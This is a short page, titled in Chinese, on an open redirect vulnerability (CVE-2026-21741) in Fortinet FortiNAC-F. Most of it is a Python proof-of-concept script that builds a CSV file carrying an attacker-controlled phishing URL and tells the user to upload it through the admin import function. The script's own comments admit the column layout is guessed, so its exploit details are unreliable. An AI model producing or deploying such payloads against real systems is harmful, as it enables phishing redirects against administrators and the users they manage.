CVE-2026-21741 Fortinet FortiNAC-F 开放重定向漏洞

# PoC Concept for CVE-2026-21741 # This script demonstrates how to generate a malicious CSV file # that could trigger the Open Redirect vulnerability when imported by an Admin. import csv def generate_malicious_csv(filename, malicious_url): """ Generates a CSV file crafted to exploit the open redirect. Note: The specific column header depends on the actual import function of FortiNAC-F. """ # Example headers and data structure headers = ['username', 'redirect_url', 'status'] # Malicious row containing the untrusted URL data = [ ['admin_user', malicious_url, 'active'] ] try: with open(filename, mode='w', newline='', encoding='utf-8') as file: writer = csv.writer(file) writer.writerow(headers) writer.writerows(data) print(f"[+] Malicious CSV file '{filename}' created successfully.") print(f"[+] Payload URL: {malicious_url}") print(f"[+] Instruction: Upload this file via the FortiNAC-F Admin CSV import function.") except Exception as e: print(f"[-] Error creating file: {e}") if __name__ == "__main__": # Replace with the attacker's controlled site target_url = "http://attacker-controlled-site.com/phishing" generate_malicious_csv("exploit_cve_2026_21741.csv", target_url)